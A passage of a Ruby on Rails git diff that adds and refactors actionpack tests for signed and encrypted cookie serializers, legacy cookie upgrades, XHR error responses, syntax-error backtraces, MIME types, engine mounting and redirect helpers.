+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_signed_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_signed_cookie
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal '45 was dumped and loaded', cookies.signed[:user_id]
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+
+    marshal_value = ActiveSupport::MessageVerifier.new(secret, serializer: Marshal).generate(45)
+    @request.headers["Cookie"] = "user_id=#{marshal_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies['user_id'])
+  end
+
+  def test_signed_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    signed_cookie_salt = @request.env["action_dispatch.signed_cookie_salt"]
+    secret = key_generator.generate_key(signed_cookie_salt)
+    json_value = ActiveSupport::MessageVerifier.new(secret, serializer: JSON).generate(45)
+    @request.headers["Cookie"] = "user_id=#{json_value}"
+
+    get :get_signed_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal 45, cookies[:user_id]
+    assert_equal 45, cookies.signed[:user_id]
+
+    assert_nil @response.cookies["user_id"]
   end
 
   def test_accessing_nonexistant_signed_cookie_should_not_raise_an_invalid_signature
@@ -369,7 +442,18 @@ class CookiesTest < ActionController::TestCase
     assert_nil @controller.send(:cookies).signed[:non_existant_attribute]
   end
 
-  def test_encrypted_cookie
+  def test_encrypted_cookie_using_default_serializer
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'bar', cookies[:foo]
+    assert_raise TypeError do
+      cookies.signed[:foo]
+    end
+    assert_equal 'bar', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_marshal_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :marshal
     get :set_encrypted_cookie
     cookies = @controller.send :cookies
     assert_not_equal 'bar', cookies[:foo]
@@ -379,6 +463,66 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'bar', cookies.encrypted[:foo]
   end
 
+  def test_encrypted_cookie_using_json_serializer
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    get :set_encrypted_cookie
+    cookies = @controller.send :cookies
+    assert_not_equal 'bar', cookies[:foo]
+    assert_raises ::JSON::ParserError do
+      cookies.signed[:foo]
+    end
+    assert_equal 'bar', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_custom_serializer
+    @request.env["action_dispatch.cookies_serializer"] = CustomSerializer
+    get :set_encrypted_cookie
+    assert_not_equal 'bar', cookies.encrypted[:foo]
+    assert_equal 'bar was dumped and loaded', cookies.encrypted[:foo]
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_migrate_marshal_dumped_value_to_json
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+
+    marshal_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: Marshal).encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{marshal_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal "bar", encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_encrypted_cookie_using_hybrid_serializer_can_read_from_json_dumped_value
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    encrypted_cookie_salt = @request.env["action_dispatch.encrypted_cookie_salt"]
+    encrypted_signed_cookie_salt = @request.env["action_dispatch.encrypted_signed_cookie_salt"]
+    secret = key_generator.generate_key(encrypted_cookie_salt)
+    sign_secret = key_generator.generate_key(encrypted_signed_cookie_salt)
+    json_value = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON).encrypt_and_sign("bar")
+    @request.headers["Cookie"] = "foo=#{json_value}"
+
+    get :get_encrypted_cookie
+
+    cookies = @controller.send :cookies
+    assert_not_equal "bar", cookies[:foo]
+    assert_equal "bar", cookies.encrypted[:foo]
+
+    assert_nil @response.cookies["foo"]
+  end
+
   def test_accessing_nonexistant_encrypted_cookie_should_not_raise_invalid_message
     get :set_encrypted_cookie
     assert_nil @controller.send(:cookies).encrypted[:non_existant_attribute]
@@ -537,6 +681,123 @@ class CookiesTest < ActionController::TestCase
     assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
   end
 
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_json_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :json
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_json_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33", serializer: JSON).generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_upgraded_by_signed_json_hybrid_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate(45)
+
+    @request.headers["Cookie"] = "user_id=#{legacy_value}"
+    get :get_signed_cookie
+
+    assert_equal 45, @controller.send(:cookies).signed[:user_id]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.signed_cookie_salt"])
+    verifier = ActiveSupport::MessageVerifier.new(secret, serializer: JSON)
+    assert_equal 45, verifier.verify(@response.cookies["user_id"])
+  end
+
+  def test_legacy_marshal_signed_cookie_is_read_and_transparently_encrypted_by_encrypted_hybrid_cookie_jar_if_both_secret_token_and_secret_key_base_are_set
+    @request.env["action_dispatch.cookies_serializer"] = :hybrid
+    @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
+    @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
+    @request.env["action_dispatch.encrypted_cookie_salt"] = "4433796b79d99a7735553e316522acee"
+    @request.env["action_dispatch.encrypted_signed_cookie_salt"] = "00646eb40062e1b1deff205a27cd30f9"
+
+    legacy_value = ActiveSupport::MessageVerifier.new("b3c631c314c0bbca50c1b2843150fe33").generate('bar')
+
+    @request.headers["Cookie"] = "foo=#{legacy_value}"
+    get :get_encrypted_cookie
+
+    assert_equal 'bar', @controller.send(:cookies).encrypted[:foo]
+
+    key_generator = @request.env["action_dispatch.key_generator"]
+    secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_cookie_salt"])
+    sign_secret = key_generator.generate_key(@request.env["action_dispatch.encrypted_signed_cookie_salt"])
+    encryptor = ActiveSupport::MessageEncryptor.new(secret, sign_secret, serializer: JSON)
+    assert_equal 'bar', encryptor.decrypt_and_verify(@response.cookies["foo"])
+  end
+
   def test_legacy_signed_cookie_is_treated_as_nil_by_signed_cookie_jar_if_tampered
     @request.env["action_dispatch.secret_token"] = "b3c631c314c0bbca50c1b2843150fe33"
     @request.env["action_dispatch.secret_key_base"] = "c3b95688f35581fad38df788add315ff"
@@ -694,8 +955,6 @@ class CookiesTest < ActionController::TestCase
     assert_equal "dhh", cookies['user_name']
   end
 
-
-
   def test_setting_request_cookies_is_indifferent_access
     cookies.clear
     cookies[:user_name] = "andrew"
diff --git a/actionpack/test/dispatch/debug_exceptions_test.rb b/actionpack/test/dispatch/debug_exceptions_test.rb
index ff0bacc..0dba651 100644
--- a/actionpack/test/dispatch/debug_exceptions_test.rb
+++ b/actionpack/test/dispatch/debug_exceptions_test.rb
@@ -43,6 +43,19 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
         raise ActionController::UrlGenerationError, "No route matches"
       when "/parameter_missing"
         raise ActionController::ParameterMissing, :missing_param_key
+      when "/original_syntax_error"
+        eval 'broke_syntax =' # `eval` need for raise native SyntaxError at runtime
+      when "/syntax_error_into_view"
+        begin
+          eval 'broke_syntax ='
+        rescue Exception => e
+          template = ActionView::Template.new(File.read(__FILE__),
+                                              __FILE__,
+                                              ActionView::Template::Handlers::Raw.new,
+                                              {})
+          raise ActionView::Template::Error.new(template, e)
+        end
+
       else
         raise "puke!"
       end
@@ -128,6 +141,47 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
     assert_match(/ActionController::ParameterMissing/, body)
   end
 
+  test "rescue with text error for xhr request" do
+    @app = DevelopmentApp
+    xhr_request_env = {'action_dispatch.show_exceptions' => true, 'HTTP_X_REQUESTED_WITH' => 'XMLHttpRequest'}
+
+    get "/", {}, xhr_request_env
+    assert_response 500
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/puke/, body)
+
+    get "/not_found", {}, xhr_request_env
+    assert_response 404
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/#{AbstractController::ActionNotFound.name}/, body)
+
+    get "/method_not_allowed", {}, xhr_request_env
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/ActionController::MethodNotAllowed/, body)
+
+    get "/unknown_http_method", {}, xhr_request_env
+    assert_response 405
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/ActionController::UnknownHttpMethod/, body)
+
+    get "/bad_request", {}, xhr_request_env
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/ActionController::BadRequest/, body)
+
+    get "/parameter_missing", {}, xhr_request_env
+    assert_response 400
+    assert_no_match(/<body>/, body)
+    assert_equal response.content_type, "text/plain"
+    assert_match(/ActionController::ParameterMissing/, body)
+  end
+
   test "does not show filtered parameters" do
     @app = DevelopmentApp
 
@@ -201,4 +255,26 @@ class DebugExceptionsTest < ActionDispatch::IntegrationTest
     get "/", {}, env
     assert_operator((output.rewind && output.read).lines.count, :>, 10)
   end
+
+  test 'display backtrace when error type is SyntaxError' do
+    @app = DevelopmentApp
+
+    get '/original_syntax_error', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+    assert_response 500
+    assert_select '#Application-Trace' do
+      assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+    end
+  end
+
+  test 'display backtrace when error type is SyntaxError wrapped by ActionView::Template::Error' do
+    @app = DevelopmentApp
+
+    get '/syntax_error_into_view', {}, {'action_dispatch.backtrace_cleaner' => ActiveSupport::BacktraceCleaner.new}
+
+    assert_response 500
+    assert_select '#Application-Trace' do
+      assert_select 'pre code', /\(eval\):1: syntax error, unexpected/
+    end
+  end
 end
diff --git a/actionpack/test/dispatch/header_test.rb b/actionpack/test/dispatch/header_test.rb
index 9e37b96..e2b38c2 100644
--- a/actionpack/test/dispatch/header_test.rb
+++ b/actionpack/test/dispatch/header_test.rb
@@ -55,6 +55,8 @@ class HeaderTest < ActiveSupport::TestCase
   test "key?" do
     assert @headers.key?("CONTENT_TYPE")
     assert @headers.include?("CONTENT_TYPE")
+    assert @headers.key?("Content-Type")
+    assert @headers.include?("Content-Type")
   end
 
   test "fetch with block" do
diff --git a/actionpack/test/dispatch/live_response_test.rb b/actionpack/test/dispatch/live_response_test.rb
index e0cfb73..512f3a8 100644
--- a/actionpack/test/dispatch/live_response_test.rb
+++ b/actionpack/test/dispatch/live_response_test.rb
@@ -6,6 +6,7 @@ module ActionController
     class ResponseTest < ActiveSupport::TestCase
       def setup
         @response = Live::Response.new
+        @response.request = ActionDispatch::Request.new({}) #yolo
       end
 
       def test_header_merge
@@ -34,6 +35,7 @@ module ActionController
           @response.stream.close
         }
 
+        @response.await_commit
         @response.each do |part|
           assert_equal 'foo', part
           latch.release
@@ -58,21 +60,30 @@ module ActionController
         assert_nil @response.headers['Content-Length']
       end
 
-      def test_headers_cannot_be_written_after_write
+      def test_headers_cannot_be_written_after_webserver_reads
         @response.stream.write 'omg'
+        latch = ActiveSupport::Concurrency::Latch.new
 
+        t = Thread.new {
+          @response.stream.each do |chunk|
+            latch.release
+          end
+        }
+
+        latch.await
         assert @response.headers.frozen?
         e = assert_raises(ActionDispatch::IllegalStateError) do
           @response.headers['Content-Length'] = "zomg"
         end
 
         assert_equal 'header already sent', e.message
+        @response.stream.close
+        t.join
       end
 
       def test_headers_cannot_be_written_after_close
         @response.stream.close
 
-        assert @response.headers.frozen?
         e = assert_raises(ActionDispatch::IllegalStateError) do
           @response.headers['Content-Length'] = "zomg"
         end
diff --git a/actionpack/test/dispatch/mime_type_test.rb b/actionpack/test/dispatch/mime_type_test.rb
index 6a2eb7d..981cf24 100644
--- a/actionpack/test/dispatch/mime_type_test.rb
+++ b/actionpack/test/dispatch/mime_type_test.rb
@@ -31,21 +31,21 @@ class MimeTypeTest < ActiveSupport::TestCase
 
   test "parse text with trailing star at the beginning" do
     accept = "text/*, text/html, application/json, multipart/form-data"
-    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
+    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON, Mime::MULTIPART_FORM]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
 
   test "parse text with trailing star in the end" do
     accept = "text/html, application/json, multipart/form-data, text/*"
-    expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML]
+    expect = [Mime::HTML, Mime::JSON, Mime::MULTIPART_FORM, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
 
   test "parse text with trailing star" do
     accept = "text/*"
-    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::XML, Mime::YAML, Mime::JSON]
+    expect = [Mime::HTML, Mime::TEXT, Mime::JS, Mime::CSS, Mime::ICS, Mime::CSV, Mime::VCF, Mime::XML, Mime::YAML, Mime::JSON]
     parsed = Mime::Type.parse(accept)
     assert_equal expect, parsed
   end
@@ -185,11 +185,6 @@ class MimeTypeTest < ActiveSupport::TestCase
     all_types.uniq!
     # Remove custom Mime::Type instances set in other tests, like Mime::GIF and Mime::IPHONE
     all_types.delete_if { |type| !Mime.const_defined?(type.upcase) }
-    assert_deprecated do
-      verified, unverified = all_types.partition { |type| Mime::Type.browser_generated_types.include? type }
-      assert verified.each   { |type| assert  Mime.const_get(type.upcase).verify_request?, "Verifiable Mime Type is not verified: #{type.inspect}" }
-      assert unverified.each { |type| assert !Mime.const_get(type.upcase).verify_request?, "Nonverifiable Mime Type is verified: #{type.inspect}" }
-    end
   end
 
   test "references gives preference to symbols before strings" do
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index e5e28c2..cdf00d8 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -5,7 +5,7 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
 
   class FakeEngine
     def self.routes
-      Object.new
+      @routes ||= ActionDispatch::Routing::RouteSet.new
     end
 
     def self.call(env)
@@ -27,12 +27,23 @@ class TestRoutingMount < ActionDispatch::IntegrationTest
     scope "/its_a" do
       mount SprocketsApp, :at => "/sprocket"
     end
+
+    resources :users do
+      mount FakeEngine, :at => "/fakeengine", :as => :fake_mounted_at_resource
+    end
   end
 
   def app
     Router
   end
 
+  def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
+    assert Router.mounted_helpers.method_defined?(:user_fake_mounted_at_resource),
+          "A mounted helper should be defined with a parent's prefix"
+    assert Router.named_routes.routes[:user_fake_mounted_at_resource],
+          "A named route should be defined with a parent's prefix"
+  end
+
   def test_mounting_sets_script_name
     get "/sprockets/omg"
     assert_equal "/sprockets -- /omg", response.body
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index e519fff..08501d1 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -32,12 +32,18 @@ module TestGenerationPrefix
             get "/conflicting_url", :to => "inside_engine_generating#conflicting"
             get "/foo", :to => "never#invoked", :as => :named_helper_that_should_be_invoked_only_in_respond_to_test
 
-            get "/relative_path_redirect", :to => redirect("foo")
+            get "/relative_path_root",       :to => redirect("")
+            get "/relative_path_redirect",   :to => redirect("foo")
+            get "/relative_option_root",     :to => redirect(:path => "")
             get "/relative_option_redirect", :to => redirect(:path => "foo")
+            get "/relative_custom_root",     :to => redirect { |params, request| "" }
             get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
 
-            get "/absolute_path_redirect", :to => redirect("/foo")
+            get "/absolute_path_root",       :to => redirect("/")
+            get "/absolute_path_redirect",   :to => redirect("/foo")
+            get "/absolute_option_root",     :to => redirect(:path => "/")
             get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+            get "/absolute_custom_root",     :to => redirect { |params, request| "/" }
             get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
           end
 
@@ -190,46 +196,64 @@ module TestGenerationPrefix
       assert_equal "engine", last_response.body
     end
 
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_path_root"
+      verify_redirect "http://example.org/awesome/blog"
+    end
+
     test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
       get "/awesome/blog/relative_path_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_option_root"
+      verify_redirect "http://example.org/awesome/blog"
     end
 
     test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
       get "/awesome/blog/relative_option_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/awesome/blog/relative_custom_root"
+      verify_redirect "http://example.org/awesome/blog"
     end
 
     test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
       get "/awesome/blog/relative_custom_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/awesome/blog/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/awesome/blog/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/awesome/blog/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_path_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
       get "/awesome/blog/absolute_path_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute option root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_option_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute option redirect doesn't use SCRIPT_NAME from request" do
       get "/awesome/blog/absolute_option_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute custom root doesn't use SCRIPT_NAME from request" do
+      get "/awesome/blog/absolute_custom_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute custom redirect doesn't use SCRIPT_NAME from request" do
       get "/awesome/blog/absolute_custom_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
     end
 
     # Inside Application
@@ -320,6 +344,17 @@ module TestGenerationPrefix
       path = engine_object.polymorphic_url(Post.new, :host => "www.example.com")
       assert_equal "http://www.example.com/awesome/blog/posts/1", path
     end
+    
+    private
+      def verify_redirect(url, status = 301)
+        assert_equal status, last_response.status
+        assert_equal url, last_response.headers["Location"]
+        assert_equal expected_redirect_body(url), last_response.body
+      end
+      
+      def expected_redirect_body(url)
+        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+      end
   end
 
   class EngineMountedAtRoot < ActionDispatch::IntegrationTest
@@ -332,12 +367,18 @@ module TestGenerationPrefix
           routes.draw do
             get "/posts/:id", :to => "posts#show", :as => :post
 
-            get "/relative_path_redirect", :to => redirect("foo")
+            get "/relative_path_root",       :to => redirect("")
+            get "/relative_path_redirect",   :to => redirect("foo")
+            get "/relative_option_root",     :to => redirect(:path => "")
             get "/relative_option_redirect", :to => redirect(:path => "foo")
+            get "/relative_custom_root",     :to => redirect { |params, request| "" }
             get "/relative_custom_redirect", :to => redirect { |params, request| "foo" }
 
-            get "/absolute_path_redirect", :to => redirect("/foo")
+            get "/absolute_path_root",       :to => redirect("/")
+            get "/absolute_path_redirect",   :to => redirect("/foo")
+            get "/absolute_option_root",     :to => redirect(:path => "/")
             get "/absolute_option_redirect", :to => redirect(:path => "/foo")
+            get "/absolute_custom_root",     :to => redirect { |params, request| "/" }
             get "/absolute_custom_redirect", :to => redirect { |params, request| "/foo" }
           end
 
@@ -390,46 +431,75 @@ module TestGenerationPrefix
       assert_equal "/posts/1", last_response.body
     end
 
+    test "[ENGINE] relative path root uses SCRIPT_NAME from request" do
+      get "/relative_path_root"
+      verify_redirect "http://example.org/"
+    end
+
     test "[ENGINE] relative path redirect uses SCRIPT_NAME from request" do
       get "/relative_path_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] relative option root uses SCRIPT_NAME from request" do
+      get "/relative_option_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] relative option redirect uses SCRIPT_NAME from request" do
       get "/relative_option_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] relative custom root uses SCRIPT_NAME from request" do
+      get "/relative_custom_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] relative custom redirect uses SCRIPT_NAME from request" do
       get "/relative_custom_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
+    test "[ENGINE] absolute path root doesn't use SCRIPT_NAME from request" do
+      get "/absolute_path_root"
+      verify_redirect "http://example.org/"
     end
 
     test "[ENGINE] absolute path redirect doesn't use SCRIPT_NAME from request" do
       get "/absolute_path_redirect"
-      assert_equal 301, last_response.status
-      assert_equal "http://example.org/foo", last_response.headers["Location"]
-      assert_equal %(<html><body>You are being <a href="http://example.org/foo">redirected</a>.</body></html>), last_response.body
+      verify_redirect "http://example.org/foo"
+    end
+
